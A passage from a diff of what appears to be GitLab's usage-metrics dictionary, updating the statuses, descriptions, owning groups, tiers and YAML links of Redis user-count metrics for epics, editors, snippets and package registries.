epic boards Group: `group::product planning` -Status: `implemented` +Status: `data_available` Tiers: `premium`, `ultimate` @@ -10710,7 +10830,7 @@ Count of MAU updating epic board names Group: `group::product planning` -Status: `implemented` +Status: `data_available` Tiers: `premium`, `ultimate` @@ -10722,7 +10842,7 @@ Count of WAU updating epic board names Group: `group::product planning` -Status: `implemented` +Status: `data_available` Tiers: `premium`, `ultimate` @@ -10734,7 +10854,7 @@ Count of MAU viewing epic boards Group: `group::product planning` -Status: `implemented` +Status: `data_available` Tiers: `premium`, `ultimate` @@ -10746,7 +10866,7 @@ Count of WAU viewing epic boards Group: `group::product planning` -Status: `implemented` +Status: `data_available` Tiers: `premium`, `ultimate` @@ -10758,7 +10878,7 @@ Total monthly users count for epics_usage Group: `group::product planning` -Status: `implemented` +Status: `data_available` Tiers: `premium`, `ultimate` @@ -10770,7 +10890,7 @@ Total weekly users count for epics_usage Group: `group::product planning` -Status: `implemented` +Status: `data_available` Tiers: `premium`, `ultimate` @@ -10782,7 +10902,7 @@ Counts of MAU closing epics Group: `group::product planning` -Status: `implemented` +Status: `data_available` Tiers: `premium`, `ultimate` @@ -10830,7 +10950,7 @@ Count of MAU cross referencing epics Group: `group::product planning` -Status: `implemented` +Status: `data_available` Tiers: `premium`, `ultimate` @@ -10842,7 +10962,7 @@ Counts of WAU cross referencing epics Group: `group::product planning` -Status: `implemented` +Status: `data_available` Tiers: `premium`, `ultimate` @@ -10854,7 +10974,7 @@ Count of MAU destroying epics Group: `group::product planning` -Status: `implemented` +Status: `data_available` Tiers: `premium`, `ultimate` @@ -10866,7 +10986,7 @@ Count of WAU destroying epics Group: `group::product planning` -Status: `implemented` +Status: `data_available` Tiers: `premium`, `ultimate` @@ -10878,7 +10998,7 @@ Count of MAU adding issues to epics Group: `group::product planning` -Status: `implemented` +Status: `data_available` Tiers: `premium`, `ultimate` @@ -10890,7 +11010,7 @@ Count of WAU adding issues to epics Group: `group::product planning` -Status: `implemented` +Status: `data_available` Tiers: `premium`, `ultimate` @@ -10902,7 +11022,7 @@ Counts of MAU moving epic issues between projects Group: `group::product planning` -Status: `implemented` +Status: `data_available` Tiers: `premium`, `ultimate` @@ -10914,7 +11034,7 @@ Counts of WAU moving epic issues between projects Group: `group::product planning` -Status: `implemented` +Status: `data_available` Tiers: `premium`, `ultimate` @@ -10926,7 +11046,7 @@ Count of MAU removing issues from epics Group: `group::product planning` -Status: `implemented` +Status: `data_available` Tiers: `premium`, `ultimate` @@ -10938,7 +11058,7 @@ Counts of WAU removing issues from epics Group: `group::product planning` -Status: `implemented` +Status: `data_available` Tiers: `premium`, `ultimate` @@ -10950,7 +11070,7 @@ Counts of MAU closing epics Group: `group::product planning` -Status: `implemented` +Status: `data_available` Tiers: `premium`, `ultimate` @@ -10962,7 +11082,7 @@ Counts of WAU re-opening epics Group: `group::product planning` -Status: `implemented` +Status: `data_available` Tiers: `premium`, `ultimate` @@ -10974,7 +11094,7 @@ Count of MAU chaging the epic lables Group: `group::product planning` -Status: `implemented` +Status: `data_available` Tiers: `premium`, `ultimate` @@ -10986,7 +11106,7 @@ Count of WAU chaging the epic lables Group: `group::product planning` -Status: `implemented` +Status: `data_available` Tiers: `premium`, `ultimate` @@ -10998,7 +11118,7 @@ Count of MAU promoting issues to epics Group: `group::product planning` -Status: `implemented` +Status: `data_available` Tiers: `premium`, `ultimate` @@ -11010,7 +11130,7 @@ Counts of WAU promoting issues to epics Group: `group::product planning` -Status: `implemented` +Status: `data_available` Tiers: `premium`, `ultimate` @@ -11022,7 +11142,7 @@ Counts of MAU awarding emoji on epic Group: `group::product planning` -Status: `implemented` +Status: `data_available` Tiers: `premium`, `ultimate` @@ -11034,7 +11154,7 @@ Counts of WAU awarding emoji on epic Group: `group::product planning` -Status: `implemented` +Status: `data_available` Tiers: `premium`, `ultimate` @@ -11070,7 +11190,7 @@ Counts of MAU destroying epic notes Group: `group::product planning` -Status: `implemented` +Status: `data_available` Tiers: `premium`, `ultimate` @@ -11082,10 +11202,34 @@ Counts of WAU destroying epic notes Group: `group::product planning` -Status: `implemented` +Status: `data_available` Tiers: `premium`, `ultimate` +### `redis_hll_counters.epics_usage.g_project_management_users_epic_issue_added_from_epic_monthly` + +Number of users creating an issue from an epic + +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210608191652_g_project_management_users_epic_issue_added_from_epic_monthly.yml) + +Group: `group::product planning` + +Status: `data_available` + +Tiers: `premium` + +### `redis_hll_counters.epics_usage.g_project_management_users_epic_issue_added_from_epic_weekly` + +Number of users creating an issue from an epic + +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210608191647_g_project_management_users_epic_issue_added_from_epic_weekly.yml) + +Group: `group::product planning` + +Status: `data_available` + +Tiers: `premium` + ### `redis_hll_counters.epics_usage.g_project_management_users_removing_epic_emoji_monthly` Counts of MAU removing emoji on epic @@ -11094,7 +11238,7 @@ Counts of MAU removing emoji on epic Group: `group::product planning` -Status: `implemented` +Status: `data_available` Tiers: `premium`, `ultimate` @@ -11106,7 +11250,7 @@ Counts of WAU removing emoji on epic Group: `group::product planning` -Status: `implemented` +Status: `data_available` Tiers: `premium`, `ultimate` @@ -11118,7 +11262,7 @@ Count of MAU making epics confidential Group: `group::product planning` -Status: `implemented` +Status: `data_available` Tiers: `premium`, `ultimate` @@ -11130,7 +11274,7 @@ Count of WAU making epics confidential Group: `group::product planning` -Status: `implemented` +Status: `data_available` Tiers: `premium`, `ultimate` @@ -11142,7 +11286,7 @@ Counts of MAU setting epic due date as inherited Group: `group::product planning` -Status: `implemented` +Status: `data_available` Tiers: `premium`, `ultimate` @@ -11154,7 +11298,7 @@ Counts of WAU setting epic due date as fixed Group: `group::product planning` -Status: `implemented` +Status: `data_available` Tiers: `premium`, `ultimate` @@ -11166,7 +11310,7 @@ Counts of MAU setting epic due date as inherited Group: `group::product planning` -Status: `implemented` +Status: `data_available` Tiers: `premium`, `ultimate` @@ -11178,7 +11322,7 @@ Counts of WAU setting epic due date as inherited Group: `group::product planning` -Status: `implemented` +Status: `data_available` Tiers: `premium`, `ultimate` @@ -11190,7 +11334,7 @@ Counts of MAU setting epic start date as fixed Group: `group::product planning` -Status: `implemented` +Status: `data_available` Tiers: `premium`, `ultimate` @@ -11202,7 +11346,7 @@ Counts of WAU setting epic start date as fixed Group: `group::product planning` -Status: `implemented` +Status: `data_available` Tiers: `premium`, `ultimate` @@ -11214,7 +11358,7 @@ Counts of MAU setting epic start date as inherited Group: `group::product planning` -Status: `implemented` +Status: `data_available` Tiers: `premium`, `ultimate` @@ -11226,7 +11370,7 @@ Counts of WAU setting epic start date as inherited Group: `group::product planning` -Status: `implemented` +Status: `data_available` Tiers: `premium`, `ultimate` @@ -11238,7 +11382,7 @@ Count of MAU making epics visible Group: `group::product planning` -Status: `implemented` +Status: `data_available` Tiers: `premium`, `ultimate` @@ -11250,7 +11394,7 @@ Count of WAU making epics visible Group: `group::product planning` -Status: `implemented` +Status: `data_available` Tiers: `premium`, `ultimate` @@ -11262,7 +11406,7 @@ Counts of MAU changing epic descriptions Group: `group::product planning` -Status: `implemented` +Status: `data_available` Tiers: `premium`, `ultimate` @@ -11274,7 +11418,7 @@ Counts of WAU changing epic descriptions Group: `group::product planning` -Status: `implemented` +Status: `data_available` Tiers: `premium`, `ultimate` @@ -11286,7 +11430,7 @@ Counts of MAU updating epic notes Group: `group::product planning` -Status: `implemented` +Status: `data_available` Tiers: `premium`, `ultimate` @@ -11298,7 +11442,7 @@ Counts of WAU updating epic notes Group: `group::product planning` -Status: `implemented` +Status: `data_available` Tiers: `premium`, `ultimate` @@ -11310,7 +11454,7 @@ Counts of MAU updating parent on epic Group: `group::product planning` -Status: `implemented` +Status: `data_available` Tiers: `premium`, `ultimate` @@ -11322,7 +11466,7 @@ Counts of WAU updating parent on epic Group: `group::product planning` -Status: `implemented` +Status: `data_available` Tiers: `premium`, `ultimate` @@ -11334,7 +11478,7 @@ Counts of MAU changing epic titles Group: `group::product planning` -Status: `implemented` +Status: `data_available` Tiers: `premium`, `ultimate` @@ -11346,7 +11490,7 @@ Counts of WAU changing epic titles Group: `group::product planning` -Status: `implemented` +Status: `data_available` Tiers: `premium`, `ultimate` @@ -11358,7 +11502,7 @@ Counts of MAU manually updating fixed due date Group: `group::product planning` -Status: `implemented` +Status: `data_available` Tiers: `premium`, `ultimate` @@ -11370,7 +11514,7 @@ Counts of WAU manually updating fixed due date Group: `group::product planning` -Status: `implemented` +Status: `data_available` Tiers: `premium`, `ultimate` @@ -11382,7 +11526,7 @@ Counts of MAU manually updating fixed start date Group: `group::product planning` -Status: `implemented` +Status: `data_available` Tiers: `premium`, `ultimate` @@ -11394,13 +11538,61 @@ Counts of WAU manually updating fixed start date Group: `group::product planning` -Status: `implemented` +Status: `data_available` + +Tiers: `premium`, `ultimate` + +### `redis_hll_counters.epics_usage.project_management_users_checking_epic_task_monthly` + +Counts of MAU checking epic task + +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210421080207_g_project_management_users_checking_epic_task_monthly.yml) + +Group: `group::product planning` + +Status: `data_available` + +Tiers: `premium`, `ultimate` + +### `redis_hll_counters.epics_usage.project_management_users_checking_epic_task_weekly` + +Counts of WAU checking epic task + +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210421075943_g_project_management_users_checking_epic_task_weekly.yml) + +Group: `group::product planning` + +Status: `data_available` + +Tiers: `premium`, `ultimate` + +### `redis_hll_counters.epics_usage.project_management_users_unchecking_epic_task_monthly` + +Counts of MAU unchecking epic task + +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210421102516_g_project_management_users_unchecking_epic_task_monthly.yml) + +Group: `group::product planning` + +Status: `data_available` + +Tiers: `premium`, `ultimate` + +### `redis_hll_counters.epics_usage.project_management_users_unchecking_epic_task_weekly` + +Counts of WAU unchecking epic task + +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210421102812_g_project_management_users_unchecking_epic_task_weekly.yml) + +Group: `group::product planning` + +Status: `data_available` Tiers: `premium`, `ultimate` ### `redis_hll_counters.ide_edit.g_edit_by_sfe_monthly` -Missing description +Number of users editing a file from the single file editor [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216180334_g_edit_by_sfe_monthly.yml) @@ -11408,23 +11600,23 @@ Group: `group::editor` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.ide_edit.g_edit_by_sfe_weekly` -Missing description +Weekly number of users editing from the single file editor -[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216180332_g_edit_by_sfe_weekly.yml) +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216180332_g_edit_by_sfe_weekly.yml) Group: `group::editor` Status: `data_available` -Tiers: +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.ide_edit.g_edit_by_snippet_ide_monthly` -Missing description +Count of monthly edits to a snippet [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216180338_g_edit_by_snippet_ide_monthly.yml) @@ -11432,47 +11624,47 @@ Group: `group::editor` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.ide_edit.g_edit_by_snippet_ide_weekly` -Missing description +Weekly number of users editing Snippets -[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216180336_g_edit_by_snippet_ide_weekly.yml) +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216180336_g_edit_by_snippet_ide_weekly.yml) Group: `group::editor` Status: `data_available` -Tiers: +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.ide_edit.g_edit_by_sse_monthly` -Missing description +Number of user editing files using the Static Site Editor [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216184024_g_edit_by_sse_monthly.yml) -Group: `` +Group: `group::editor` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.ide_edit.g_edit_by_sse_weekly` -Missing description +Weekly number of users editing using the Static Site Editor -[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216184022_g_edit_by_sse_weekly.yml) +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216184022_g_edit_by_sse_weekly.yml) -Group: `` +Group: `group::editor` Status: `data_available` -Tiers: +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.ide_edit.g_edit_by_web_ide_monthly` -Missing description +Number of users editing a file from the Web IDE [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216180330_g_edit_by_web_ide_monthly.yml) @@ -11480,23 +11672,23 @@ Group: `group::editor` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.ide_edit.g_edit_by_web_ide_weekly` -Missing description +Weekly number of users editing using the Web IDE -[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216180328_g_edit_by_web_ide_weekly.yml) +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216180328_g_edit_by_web_ide_weekly.yml) Group: `group::editor` Status: `data_available` -Tiers: +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.ide_edit.ide_edit_total_unique_counts_monthly` -Missing description +Count of unique users per month who edited a file from the Web IDE [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216180341_ide_edit_total_unique_counts_monthly.yml) @@ -11504,19 +11696,19 @@ Group: `group::editor` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.ide_edit.ide_edit_total_unique_counts_weekly` -Missing description +Weekly number of users editing a file using the Web IDE -[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216180339_ide_edit_total_unique_counts_weekly.yml) +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216180339_ide_edit_total_unique_counts_weekly.yml) Group: `group::editor` Status: `data_available` -Tiers: +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.incident_management.incident_management_alert_assigned_monthly` @@ -11910,7 +12102,7 @@ Count of unique users to receive a notification while on-call Group: `group::monitor` -Status: `implemented` +Status: `data_available` Tiers: `premium`, `ultimate` @@ -11922,7 +12114,7 @@ Count of unique users to receive a notification while on-call Group: `group::monitor` -Status: `implemented` +Status: `data_available` Tiers: `premium`, `ultimate` @@ -12744,27 +12936,27 @@ Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.pipeline_authoring.o_pipeline_authoring_unique_users_committing_ciconfigfile_monthly` -Missing description +Monthly unique user count doing commits which contains the CI config file [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216184303_o_pipeline_authoring_unique_users_committing_ciconfigfile_monthly.yml) -Group: `` +Group: `group::pipeline authoring` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.pipeline_authoring.o_pipeline_authoring_unique_users_committing_ciconfigfile_weekly` -Missing description +Weekly unique user count doing commits which contains the CI config file -[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216184301_o_pipeline_authoring_unique_users_committing_ciconfigfile_weekly.yml) +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216184301_o_pipeline_authoring_unique_users_committing_ciconfigfile_weekly.yml) -Group: `` +Group: `group::pipeline authoring` Status: `data_available` -Tiers: +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.pipeline_authoring.o_pipeline_authoring_unique_users_pushing_mr_ciconfigfile_monthly` @@ -12798,7 +12990,7 @@ Missing description Group: `` -Status: `implemented` +Status: `data_available` Tiers: `free`, `premium`, `ultimate` @@ -12810,7 +13002,7 @@ Missing description Group: `` -Status: `implemented` +Status: `data_available` Tiers: `free`, `premium`, `ultimate` @@ -14550,7 +14742,7 @@ Count of expanding the security report widget Group: `group::static analysis` -Status: `implemented` +Status: `data_available` Tiers: `free`, `premium`, `ultimate` @@ -14562,33 +14754,33 @@ Count of expanding the security report widget Group: `group::static analysis` -Status: `implemented` +Status: `data_available` Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.snippets.i_snippets_show_monthly` -Missing description +Monthly number of users viewing snippets [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216184255_i_snippets_show_monthly.yml) -Group: `` +Group: `group::editor` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.snippets.i_snippets_show_weekly` -Missing description +Weekly number of users viewing snippets -[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216184253_i_snippets_show_weekly.yml) +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216184253_i_snippets_show_weekly.yml) -Group: `` +Group: `group::editor` Status: `data_available` -Tiers: +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.source_code.design_action_monthly` @@ -14910,7 +15102,7 @@ Unique users that expand the test summary merge request widget by month Group: `group::testing` -Status: `implemented` +Status: `data_available` Tiers: `free`, `premium`, `ultimate` @@ -14922,7 +15114,7 @@ Unique users that expand the test summary merge request widget by week Group: `group::testing` -Status: `implemented` +Status: `data_available` Tiers: `free`, `premium`, `ultimate` @@ -15006,7 +15198,7 @@ Count of expanding the accessibility report widget Group: `group::testing` -Status: `implemented` +Status: `data_available` Tiers: `free`, `premium`, `ultimate` @@ -15018,7 +15210,7 @@ Count of expanding the accessibility report widget Group: `group::testing` -Status: `implemented` +Status: `data_available` Tiers: `free`, `premium`, `ultimate` @@ -15030,7 +15222,7 @@ Count of expanding the code quality widget Group: `group::testing` -Status: `implemented` +Status: `data_available` Tiers: `free`, `premium`, `ultimate` @@ -15042,253 +15234,277 @@ Count of expanding the code quality widget Group: `group::testing` -Status: `implemented` +Status: `data_available` Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.user_packages.i_package_composer_user_monthly` -Missing description +A monthly count of users that have published a Composer package to the registry [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216184854_i_package_composer_user_monthly.yml) -Group: `` +Group: `group::package` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.user_packages.i_package_composer_user_weekly` -Missing description +A weekly count of users that have published a Composer package to the registry -[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216184852_i_package_composer_user_weekly.yml) +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216184852_i_package_composer_user_weekly.yml) -Group: `` +Group: `group::package` Status: `data_available` -Tiers: +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.user_packages.i_package_conan_user_monthly` -Missing description +A monthly count of users that have published a Conan package to the registry [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216184858_i_package_conan_user_monthly.yml) -Group: `` +Group: `group::package` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.user_packages.i_package_conan_user_weekly` -Missing description +A weekly count of users that have published a Conan package to the registry -[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216184856_i_package_conan_user_weekly.yml) +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216184856_i_package_conan_user_weekly.yml) -Group: `` +Group: `group::package` Status: `data_available` -Tiers: +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.user_packages.i_package_container_user_monthly` -Missing description +A monthly count of users that have published a container image to the registry [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216184902_i_package_container_user_monthly.yml) -Group: `` +Group: `group::package` -Status: `data_available` +Status: `deprecated` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.user_packages.i_package_container_user_weekly` -Missing description +A weekly count of users that have published a container image to the registry -[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216184900_i_package_container_user_weekly.yml) +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216184900_i_package_container_user_weekly.yml) -Group: `` +Group: `group::package` -Status: `data_available` +Status: `deprecated` -Tiers: +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.user_packages.i_package_debian_user_monthly` -Missing description +A monthly count of users that have published a Debian package to the registry [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216184906_i_package_debian_user_monthly.yml) -Group: `` +Group: `group::package` -Status: `data_available` +Status: `deprecated` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.user_packages.i_package_debian_user_weekly` -Missing description +A weekly count of users that have published a Debian package to the registry -[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216184904_i_package_debian_user_weekly.yml) +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216184904_i_package_debian_user_weekly.yml) -Group: `` +Group: `group::package` -Status: `data_available` +Status: `deprecated` -Tiers: +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.user_packages.i_package_generic_user_monthly` -Missing description +A monthly count of users that have published a generic package to the registry [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216184910_i_package_generic_user_monthly.yml) -Group: `` +Group: `group::package` -Status: `data_available` +Status: `broken` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.user_packages.i_package_generic_user_weekly` -Missing description +A weekly count of users that have published a generic package to the registry -[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216184908_i_package_generic_user_weekly.yml) +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216184908_i_package_generic_user_weekly.yml) -Group: `` +Group: `group::package` -Status: `data_available` +Status: `broken` -Tiers: +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.user_packages.i_package_golang_user_monthly` -Missing description +A monthly count of users that have published a Go moduleto the registry [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216184913_i_package_golang_user_monthly.yml) -Group: `` +Group: `group::package` -Status: `data_available` +Status: `deprecated` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.user_packages.i_package_golang_user_weekly` -Missing description +A weekly count of users that have published a Go module to the registry -[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216184911_i_package_golang_user_weekly.yml) +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216184911_i_package_golang_user_weekly.yml) -Group: `` +Group: `group::package` -Status: `data_available` +Status: `deprecated` -Tiers: +Tiers: `free`, `premium`, `ultimate` + +### `redis_hll_counters.user_packages.i_package_helm_user_monthly` + +Distinct user count events for Helm packages in recent 28 days + +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210517075259_i_package_helm_user_monthly.yml) + +Group: `group::package` + +Status: `implemented` + +Tiers: `free`, `premium`, `ultimate` + +### `redis_hll_counters.user_packages.i_package_helm_user_weekly` + +Distinct user count events for Helm packages in recent 7 days + +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210517075252_i_package_helm_user_weekly.yml) + +Group: `group::package` + +Status: `implemented` + +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.user_packages.i_package_maven_user_monthly` -Missing description +A monthly count of users that have published a Maven package to the registry [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216184917_i_package_maven_user_monthly.yml) -Group: `` +Group: `group::package` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.user_packages.i_package_maven_user_weekly` -Missing description +A weekly count of users that have published a Maven package to the registry -[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216184916_i_package_maven_user_weekly.yml) +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216184916_i_package_maven_user_weekly.yml) -Group: `` +Group: `group::package` Status: `data_available` -Tiers: +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.user_packages.i_package_npm_user_monthly` -Missing description +A monthly count of users that have published an npm package to the registry [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216184921_i_package_npm_user_monthly.yml) -Group: `` +Group: `group::package` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.user_packages.i_package_npm_user_weekly` -Missing description +A weekly count of users that have published an npm package to the registry -[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216184919_i_package_npm_user_weekly.yml) +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216184919_i_package_npm_user_weekly.yml) -Group: `` +Group: `group::package` Status: `data_available` -Tiers: +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.user_packages.i_package_nuget_user_monthly` -Missing description +A monthly count of users that have published a NuGet package to the registry [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216184925_i_package_nuget_user_monthly.yml) -Group: `` +Group: `group::package` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.user_packages.i_package_nuget_user_weekly` -Missing description +A weekly count of users that have published a NuGet package to the registry -[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216184923_i_package_nuget_user_weekly.yml) +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216184923_i_package_nuget_user_weekly.yml) -Group: `` +Group: `group::package` Status: `data_available` -Tiers: +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.user_packages.i_package_pypi_user_monthly` -Missing description +A monthly count of users that have published a PyPI package to the registry [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216184929_i_package_pypi_user_monthly.yml) -Group: `` +Group: `group::package` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.user_packages.i_package_pypi_user_weekly` -Missing description +A weekly count of users that have published a Python package to the registry -[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216184927_i_package_pypi_user_weekly.yml) +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216184927_i_package_pypi_user_weekly.yml) -Group: `` +Group: `group::package` Status: `data_available` -Tiers: +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.user_packages.i_package_rubygems_user_monthly` -Distinct user count events for RubyGems packages in recent 28 days +Distinct user count of RubyGems packages published in recent 28 days [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210303154654_i_package_rubygems_user_monthly.yml) @@ -15300,7 +15516,7 @@ Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.user_packages.i_package_rubygems_user_weekly` -Distinct user count events for RubyGems packages in recent 7 days +A weekly count of distinct RubyGems packages published by a user [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210303154652_i_package_rubygems_user_weekly.yml) @@ -15312,27 +15528,27 @@ Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.user_packages.i_package_tag_user_monthly` -Missing description +A monthly count of users that have published a package tag to the registry [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216184933_i_package_tag_user_monthly.yml) -Group: `` +Group: `group::package` -Status: `data_available` +Status: `deprecated` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.user_packages.i_package_tag_user_weekly` -Missing description +A weekly count of users that have published a package with a tag to the registry -[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216184931_i_package_tag_user_weekly.yml) +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216184931_i_package_tag_user_weekly.yml) -Group: `` +Group: `group::package` -Status: `data_available` +Status: `deprecated` -Tiers: +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.user_packages.i_package_terraform_module_user_monthly` @@ -15342,7 +15558,7 @@ Number of distinct users creating Terraform Module packages in recent 28 days Group: `group::configure` -Status: `implemented` +Status: 